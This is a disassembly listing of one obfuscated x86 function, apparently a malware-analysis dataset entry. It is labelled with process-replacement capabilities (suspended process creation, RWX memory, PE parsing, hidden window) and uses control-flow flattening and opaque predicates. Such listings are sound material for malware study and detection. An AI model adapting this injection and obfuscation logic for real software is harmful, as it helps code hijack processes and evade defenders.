Function at 0x10002ba0
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Hide graphical window
Parse pe header
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x10c
mov eax, dword [0x10094400]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x114], 0xad7c4dc3
mov eax, dword [ebp - 0x114]
mov dword [ebp - 0x118], eax
sub eax, 0x8002e9b5
je 0x100082c3
jmp 0x10002bdc
mov eax, dword [ebp - 0x118]
sub eax, 0x803b274b
je 0x10007bd3
jmp 0x10002bf2
mov eax, dword [ebp - 0x118]
sub eax, 0x80ed9fce
je 0x10008e26
jmp 0x10002c08
mov eax, dword [ebp - 0x118]
sub eax, 0x8149884f
je 0x1000b19b
jmp 0x10002c1e
mov eax, dword [ebp - 0x118]
sub eax, 0x8156686b
je 0x100072aa
jmp 0x10002c34
mov eax, dword [ebp - 0x118]
sub eax, 0x81a7b139
je 0x1000a887
jmp 0x10002c4a
mov eax, dword [ebp - 0x118]
sub eax, 0x82129176
je 0x100054d3
jmp 0x10002c60
mov eax, dword [ebp - 0x118]
sub eax, 0x823b6fcc
je 0x1000aec5
jmp 0x10002c76
mov eax, dword [ebp - 0x118]
sub eax, 0x8467936d
je 0x1000665e
jmp 0x10002c8c
mov eax, dword [ebp - 0x118]
sub eax, 0x87328b12
je 0x10005925
jmp 0x10002ca2
mov eax, dword [ebp - 0x118]
sub eax, 0x87cdc912
je 0x1000686c
jmp 0x10002cb8
mov eax, dword [ebp - 0x118]
sub eax, 0x88c08ab0
je 0x10006603
jmp 0x10002cce
mov eax, dword [ebp - 0x118]
sub eax, 0x894cc1bc
je 0x10008978
jmp 0x10002ce4
mov eax, dword [ebp - 0x118]
sub eax, 0x898d8faa
je 0x10007a7d
jmp 0x10002cfa
mov eax, dword [ebp - 0x118]
sub eax, 0x8a59deae
je 0x10009a97
jmp 0x10002d10
mov eax, dword [ebp - 0x118]
sub eax, 0x8ac6a00d
je 0x10005ef6
jmp 0x10002d26
mov eax, dword [ebp - 0x118]
sub eax, 0x8b3e385b
je 0x10008422
jmp 0x10002d3c
mov eax, dword [ebp - 0x118]
sub eax, 0x8b738957
je 0x10009500
jmp 0x10002d52
mov eax, dword [ebp - 0x118]
sub eax, 0x8c848889
je 0x100089fd
jmp 0x10002d68
mov eax, dword [ebp - 0x118]
sub eax, 0x8da3cdb2
je 0x10007aeb
jmp 0x10002d7e
mov eax, dword [ebp - 0x118]
sub eax, 0x8db9842b
je 0x10005e8b
jmp 0x10002d94
mov eax, dword [ebp - 0x118]
sub eax, 0x8e331014
je 0x10006830
jmp 0x10002daa
mov eax, dword [ebp - 0x118]
sub eax, 0x8f06ff9c
je 0x1000b063
jmp 0x10002dc0
mov eax, dword [ebp - 0x118]
sub eax, 0x8f924536
je 0x10005421
jmp 0x10002dd6
mov eax, dword [ebp - 0x118]
sub eax, 0x9060248f
je 0x10005e4d
jmp 0x10002dec
mov eax, dword [ebp - 0x118]
sub eax, 0x90c29714
je 0x10007fed
jmp 0x10002e02
mov eax, dword [ebp - 0x118]
sub eax, 0x91cd48e9
je 0x1000731a
jmp 0x10002e18
mov eax, dword [ebp - 0x118]
sub eax, 0x920cf09b
je 0x1000a22a
jmp 0x10002e2e
mov eax, dword [ebp - 0x118]
sub eax, 0x9265def0
je 0x10007a07
jmp 0x10002e44
mov eax, dword [ebp - 0x118]
sub eax, 0x92b4c647
je 0x10009cf2
jmp 0x10002e5a
mov eax, dword [ebp - 0x118]
sub eax, 0x92bbd53a
je 0x100069c7
jmp 0x10002e70
mov eax, dword [ebp - 0x118]
sub eax, 0x93a3a546
je 0x10006498
jmp 0x10002e86
mov eax, dword [ebp - 0x118]
sub eax, 0x94089ce5
je 0x1000a5a7
jmp 0x10002e9c
mov eax, dword [ebp - 0x118]
sub eax, 0x94319fc6
je 0x10006aef
jmp 0x10002eb2
mov eax, dword [ebp - 0x118]
sub eax, 0x957b7953
je 0x1000ace5
jmp 0x10002ec8
mov eax, dword [ebp - 0x118]
sub eax, 0x95d4b045
je 0x10008546
jmp 0x10002ede
mov eax, dword [ebp - 0x118]
sub eax, 0x96d4327e
je 0x1000a564
jmp 0x10002ef4
mov eax, dword [ebp - 0x118]
sub eax, 0x9803815f
je 0x10005c72
jmp 0x10002f0a
mov eax, dword [ebp - 0x118]
sub eax, 0x981f4565
je 0x10005ec7
jmp 0x10002f20
mov eax, dword [ebp - 0x118]
sub eax, 0x9859d59d
je 0x1000788f
jmp 0x10002f36
mov eax, dword [ebp - 0x118]
sub eax, 0x99a55849
je 0x10005dd3
jmp 0x10002f4c
mov eax, dword [ebp - 0x118]
sub eax, 0x9ab67714
je 0x1000b2c2
jmp 0x10002f62
mov eax, dword [ebp - 0x118]
sub eax, 0x9b5fee8c
je 0x10009b1c
jmp 0x10002f78
mov eax, dword [ebp - 0x118]
sub eax, 0x9c73cef6
je 0x10008584
jmp 0x10002f8e
mov eax, dword [ebp - 0x118]
sub eax, 0x9ccb8347
je 0x1000af13
jmp 0x10002fa4
mov eax, dword [ebp - 0x118]
sub eax, 0x9dcd5d16
je 0x1000525e
jmp 0x10002fba
mov eax, dword [ebp - 0x118]
sub eax, 0x9df060d3
je 0x10009aa6
jmp 0x10002fd0
mov eax, dword [ebp - 0x118]
sub eax, 0x9e6a0b49
je 0x100080de
jmp 0x10002fe6
mov eax, dword [ebp - 0x118]
sub eax, 0x9ef24bef
je 0x1000568b
jmp 0x10002ffc
mov eax, dword [ebp - 0x118]
sub eax, 0x9f243651
je 0x1000b039
jmp 0x10003012
mov eax, dword [ebp - 0x118]
sub eax, 0xa0880d06
je 0x10008165
jmp 0x10003028
mov eax, dword [ebp - 0x118]
sub eax, 0xa0e803e6
je 0x1000b3b1
jmp 0x1000303e
mov eax, dword [ebp - 0x118]
sub eax, 0xa14dda77
je 0x10008786
jmp 0x10003054
mov eax, dword [ebp - 0x118]
sub eax, 0xa1640f00
je 0x10006bd5
jmp 0x1000306a
mov eax, dword [ebp - 0x118]
sub eax, 0xa30597ac
je 0x1000726e
jmp 0x10003080
mov eax, dword [ebp - 0x118]
sub eax, 0xa3aaf8df
je 0x1000a896
jmp 0x10003096
mov eax, dword [ebp - 0x118]
sub eax, 0xa454482e
je 0x1000a418
jmp 0x100030ac
mov eax, dword [ebp - 0x118]
sub eax, 0xa45a27b9
je 0x100066b9
jmp 0x100030c2
mov eax, dword [ebp - 0x118]
sub eax, 0xa470fa21
je 0x100062df
jmp 0x100030d8
mov eax, dword [ebp - 0x118]
sub eax, 0xa4dad652
je 0x1000ab65
jmp 0x100030ee
mov eax, dword [ebp - 0x118]
sub eax, 0xa4ee1609
je 0x10005543
jmp 0x10003104
mov eax, dword [ebp - 0x118]
sub eax, 0xa511f0d1
je 0x100057ba
jmp 0x1000311a
mov eax, dword [ebp - 0x118]
sub eax, 0xa80ba6f1
je 0x1000634c
jmp 0x10003130
mov eax, dword [ebp - 0x118]
sub eax, 0xa84e72ba
je 0x1000a9d0
jmp 0x10003146
mov eax, dword [ebp - 0x118]
sub eax, 0xa91b711e
je 0x10006771
mov eax, dword [0x10095728]
mov ecx, dword [0x10095724]
mov edx, eax
sub edx, 0x3a8a17a9
sub edx, 1
add edx, 0x3a8a17a9
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xafb6ae20
mov ecx, 0x790499ea
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x1000b475
mov dl, 1
mov eax, 0xfa205748
mov ecx, 0x6a5aee68
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x1000b475
movss xmm0, dword [0x10018228]
movss dword [ebp - 0xec], xmm0
mov eax, dword [0x10095728]
mov ecx, dword [0x10095724]
mov edx, eax
sub edx, 0x1168caa
sub edx, 1
add edx, 0x1168caa
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x786de3ac
mov ecx, 0x64d6acc8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x1000b475
mov dword [ebp - 0x114], 0xfa205748
jmp 0x1000b475
mov eax, dword [0x10095728]
mov ecx, dword [0x10095724]
mov edx, eax
add edx, 0x4a23fe30
sub edx, 1
sub edx, 0x4a23fe30
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x1dd160b
mov ecx, 0x3c14ef5c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x1000b475
movss xmm0, dword [0x1001821c]
movss dword [ebp - 0xec], xmm0
mov ecx, dword [0x10095728]
mov eax, dword [0x10095724]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xa4dad652
mov ecx, 0x469f4d13
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x1000b475
movss xmm0, dword [0x100183a0]
movss dword [ebp - 0xec], xmm0
mov dword [ebp - 0x114], 0x7fb404f
jmp 0x1000b475
movss xmm0, dword [0x1001839c]
movss dword [ebp - 0xec], xmm0
mov dword [ebp - 0x114], 0x42762e21
jmp 0x1000b475
movss xmm0, dword [0x1001838c]
movss dword [ebp - 0xf0], xmm0
movss xmm0, dword [0x10018388]
movss dword [ebp - 0xf0], xmm0
mov dword [ebp - 0x114], 0x25e9c745
jmp 0x1000b475
movss xmm0, dword [0x10018380]
movss dword [ebp - 0xf0], xmm0
movss xmm0, dword [0x1001837c]
movss dword [ebp - 0xf0], xmm0
mov dword [ebp - 0x114], 0xc571773f
jmp 0x1000b475
movss xmm0, dword [0x10018378]
movss dword [ebp - 0xf0], xmm0
mov dword [ebp - 0x114], 0x7b5ad80f
jmp 0x1000b475
movss xmm0, dword [0x10018374]
movss dword [ebp - 0xf0], xmm0
movss xmm0, dword [0x10018370]
movss dword [ebp - 0xf0], xmm0
mov dword [ebp - 0x114], 0x8ac6a00d
jmp 0x1000b475
mov ecx, dword [0x10095728]
mov eax, dword [0x10095724]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x4d6282db
mov ecx, 0x49501dca
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x1000b475
mov dword [ebp - 0x114], 0x1810e797
jmp 0x1000b475
mov eax, dword [0x10095728]
mov ecx, dword [0x10095724]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x595ea282
mov ecx, 0xb005f94a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x1000b475
mov eax, dword [0x10095728]
mov ecx, dword [0x10095724]
mov edx, eax
sub edx, 0xf31779c3
sub edx, 1
add edx, 0xf31779c3
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x3d165c4e
mov ecx, 0xe9e04a77
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x1000b475
mov dl, 1
mov eax, 0x8467936d
mov ecx, 0x34a08863
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x1000b475
movss xmm0, dword [0x10018340]
movss dword [ebp - 0xf4], xmm0
mov dword [ebp - 0x114], 0x15f9b34c
jmp 0x1000b475
movss xmm0, dword [0x10018338]
movss dword [ebp - 0xf4], xmm0
mov dword [ebp - 0x114], 0xc12ddf74
jmp 0x1000b475
mov dl, 1
mov eax, 0xb91c248a
mov ecx, 0x3d9cbaa2
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x1000b475
movss xmm0, dword [0x10018320]
movss dword [ebp - 0xf4], xmm0
mov dword [ebp - 0x114], 0xb91c248a
jmp 0x1000b475
movss xmm0, dword [0x10018308]
movss dword [ebp - 0xf8], xmm0
mov dword [ebp - 0x114], 0x183c2060
jmp 0x1000b475
mov ecx, dword [0x10095728]
mov eax, dword [0x10095724]
mov edx, ecx
sub edx, 0x5647b95e
sub edx, 1
add edx, 0x5647b95e
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x957b7953
mov ecx, 0xef8b4b51
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x1000b475
movss xmm0, dword [0x10018304]
movss dword [ebp - 0xf8], xmm0
mov dword [ebp - 0x114], 0xfa31ca5c
jmp 0x1000b475
movss xmm0, dword [0x100182dc]
movss dword [ebp - 0xfc], xmm0
mov dword [ebp - 0x114], 0x2750786b
jmp 0x1000b475
movss xmm0, dword [0x100182d8]
movss dword [ebp - 0xfc], xmm0
mov dword [ebp - 0x114], 0x7dfb5da4
jmp 0x1000b475
movss xmm0, dword [0x100181e0]
movss dword [ebp - 0xfc], xmm0
mov ecx, dword [0x10095728]
mov eax, dword [0x10095724]
mov edx, ecx
sub edx, 0x105c498a
sub edx, 1
add edx, 0x105c498a
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xf66bd6fe
mov ecx, 0xf98e758d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x1000b475
mov dword [ebp - 0x114], 0x2bed7e9
jmp 0x1000b475
mov ecx, dword [0x10095728]
mov eax, dword [0x10095724]
mov edx, ecx
sub edx, 0x9fcd8d1
sub edx, 1
add edx, 0x9fcd8d1
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x91384e6
mov ecx, 0x898d8faa
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x1000b475
mov dl, 1
mov eax, 0x7c73d2d2
mov ecx, 0x2958b2e4
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x1000b475
movss xmm0, dword [0x100181cc]
movss dword [ebp - 0x100], xmm0
movss xmm0, dword [0x100181c8]
movss dword [ebp - 0x100], xmm0
mov ecx, dword [0x10095728]
mov eax, dword [0x10095724]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xc92cd500
mov ecx, 0x60594094
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x1000b475
mov ecx, dword [0x10095728]
mov eax, dword [0x10095724]
mov edx, ecx
sub edx, 0x70c62573
sub edx, 1
add edx, 0x70c62573
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xa9b5575
mov ecx, 0x13d9c064
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x1000b475
movss xmm0, dword [0x100181b0]
movss dword [ebp - 0x104], xmm0
movss xmm0, dword [0x100181ac]
movss dword [ebp - 0x104], xmm0
movss xmm0, dword [0x100181a8]
movss dword [ebp - 0x104], xmm0
mov ecx, dword [0x10095728]
mov eax, dword [0x10095724]
mov edx, ecx
sub edx, 0x5fb62bc3
sub edx, 1
add edx, 0x5fb62bc3
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x9ccb8347
mov ecx, 0x6a17a06a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x1000b475
movss xmm0, dword [0x10018294]
movss dword [ebp - 0x104], xmm0
mov dword [ebp - 0x114], 0xca59ca83
jmp 0x1000b475
mov eax, dword [0x10095728]
mov ecx, dword [0x10095724]
mov edx, eax
sub edx, 0x92f29df7
sub edx, 1
add edx, 0x92f29df7
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xe797b69d
mov ecx, 0xb7884273
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x1000b475
mov dword [ebp - 0x114], 0x1d5f57a8
jmp 0x1000b475
movss xmm0, dword [0x10018278]
movss dword [ebp - 0x104], xmm0
mov dword [ebp - 0x114], 0x1137bbcb
jmp 0x1000b475
mov dword [ebp - 0x114], 0xe8459e77
jmp 0x1000b475
movss xmm0, dword [0x10018260]
movss dword [ebp - 0x108], xmm0
mov dl, 1
mov eax, 0xf28bdf58
mov ecx, 0x7c3573b9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x1000b475
mov dword [ebp - 0x114], 0xe91ab43d
jmp 0x1000b475
mov dword [ebp - 0x114], 0x774124dd
jmp 0x1000b475
mov eax, dword [0x10095728]
mov ecx, dword [0x10095724]
mov edx, eax
add edx, 0xea11ea2f
sub edx, 1
sub edx, 0xea11ea2f
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x2ce505d
mov ecx, 0x394af93f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x1000b475
mov eax, dword [ebp - 0xe0]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x10
call fcn.1000c7e0
add esp, 0xc
mov eax, dword [ebp - 0xdc]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x44
call fcn.1000c7e0
add esp, 0xc
mov eax, dword [ebp - 0xe4]
mov eax, dword [eax]
add eax, 0x18
add eax, 0x60
add eax, 0x70
mov dword [ebp - 0x8c], eax
mov dword [ebp - 0x114], 0xad7e1a1d
jmp 0x1000b475
mov eax, dword [ebp - 0x70]
movzx eax, word [eax + 0x14]
mov ecx, dword [ebp - 0x74]
add ecx, eax
mov eax, dword [ebp - 0xc4]
mov dword [eax], ecx
mov eax, dword [ebp - 0xe4]
mov ecx, dword [eax]
add ecx, 0x27270891
add ecx, 0x18
sub ecx, 0x27270891
mov eax, dword [ebp - 0xe4]
mov eax, dword [eax]
movzx edx, word [eax + 0x14]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, edx
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0xc0]
mov dword [eax], ecx
mov eax, dword [ebp - 0xbc]
mov dword [eax], 0
mov eax, dword [ebp - 0xe4]
mov eax, dword [eax]
mov ecx, dword [eax + 0xa0]
mov eax, dword [ebp - 0xb8]
mov dword [eax], ecx
mov eax, dword [ebp - 0xb4]
mov dword [eax], 0
mov eax, dword [0x10095728]
mov ecx, dword [0x10095724]
mov edx, eax
sub edx, 0x1f436f62
sub edx, 1
add edx, 0x1f436f62
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xd6766eb7
mov ecx, 0xae37af6c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x1000b475
mov dword [ebp - 0x114], 0x9df060d3
jmp 0x1000b475
mov ecx, dword [0x10095728]
mov eax, dword [0x10095724]
mov edx, ecx
add edx, 0x889c3a3c
sub edx, 1
sub edx, 0x889c3a3c
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x227ce7b9
mov ecx, 0x9b5fee8c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x1000b475
mov eax, dword [ebp - 0xb4]
mov eax, dword [eax]
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, 1
add ecx, eax
xor eax, eax
sub eax, ecx
mov dword [ebp - 0x4c], eax
mov eax, dword [0x10095728]
mov ecx, dword [0x10095724]
mov edx, eax
sub edx, 0xc2ac81d2
sub edx, 1
add edx, 0xc2ac81d2
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x227ce7b9
mov ecx, 0xb00f5309
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x1000b475
mov ecx, dword [0x10095728]
mov eax, dword [0x10095724]
mov edx, ecx
add edx, 0x13016a13
sub edx, 1
sub edx, 0x13016a13
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xc4fa02d0
mov ecx, 0xd45268b5
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x1000b475
mov dl, byte [ebp - 0x31]
mov eax, 0x39146f2d
mov ecx, 0xb91e405a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x1000b475
mov eax, dword [ebp - 0x2c]
mov edx, dword [eax]
mov eax, dword [ebp - 0x98]
mov ecx, dword [ebp - 0x30]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
cmp eax, 0
setne al
and al, 1
mov byte [ebp - 0x25], al
mov eax, dword [0x10095728]
mov ecx, dword [0x10095724]
mov edx, eax
sub edx, 0x36489345
sub edx, 1
add edx, 0x36489345
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xa0e803e6
mov ecx, 0xe1134b13
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x1000b475
mov eax, dword [ebp - 0xa0]
mov eax, dword [eax]
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, 1
add ecx, eax
xor eax, eax
sub eax, ecx
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x114], 0x332dfe8b
jmp 0x1000b475
mov ecx, dword [0x10095728]
mov eax, dword [0x10095724]
mov edx, ecx
sub edx, 0x866c9b1c
sub edx, 1
add edx, 0x866c9b1c
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x1a0aed69
mov ecx, 0x7c3f8bad
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x1000b475
mov dword [ebp - 0x114], 0xa3aaf8df
jmp 0x1000b475
mov eax, dword [0x10095728]
mov ecx, dword [0x10095724]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x6dc155f4
mov ecx, 0x79a2c6b2
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x1000b475
mov ecx, dword [0x10095728]
mov eax, dword [0x10095724]
mov edx, ecx
add edx, 0x8d0c7756
sub edx, 1
sub edx, 0x8d0c7756
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xffc1317f
mov ecx, 0x63d5ed2b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x1000b475
movss xmm0, dword [0x1001821c]
movss dword [ebp - 0xec], xmm0
mov dword [ebp - 0x114], 0xa511f0d1
jmp 0x1000b475
movss xmm0, dword [0x100181f8]
movss dword [ebp - 0xf8], xmm0
mov dword [ebp - 0x114], 0xef8b4b51
jmp 0x1000b475
movss xmm0, dword [0x100181bc]
movss dword [ebp - 0x100], xmm0
mov dword [ebp - 0x114], 0xbefd6c5f
jmp 0x1000b475
movss xmm0, dword [0x100181b0]
movss dword [ebp - 0x104], xmm0
movss xmm0, dword [0x100181ac]
movss dword [ebp - 0x104], xmm0
movss xmm0, dword [0x100181a8]
movss dword [ebp - 0x104], xmm0
mov dword [ebp - 0x114], 0x90c29714
jmp 0x1000b475
mov dword [ebp - 0x114], 0xbbf36017
jmp 0x1000b475
mov dword [ebp - 0x114], 0xf36312c7
jmp 0x1000b475
mov eax, dword [ebp - 0xe4]
mov eax, dword [ebp - 0xe0]
mov dword [ebp - 0x114], 0x6fb33d6e
jmp 0x1000b475
mov eax, dword [ebp - 0xbc]
mov dword [ebp - 0x114], 0xd0bf3f8d
jmp 0x1000b475
mov eax, dword [ebp - 0x2c]
mov edx, dword [eax]
mov eax, dword [ebp - 0x98]
mov ecx, dword [ebp - 0x30]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov dword [ebp - 0x114], 0xa454482e
jmp 0x1000b475
jmp 0x10002bc0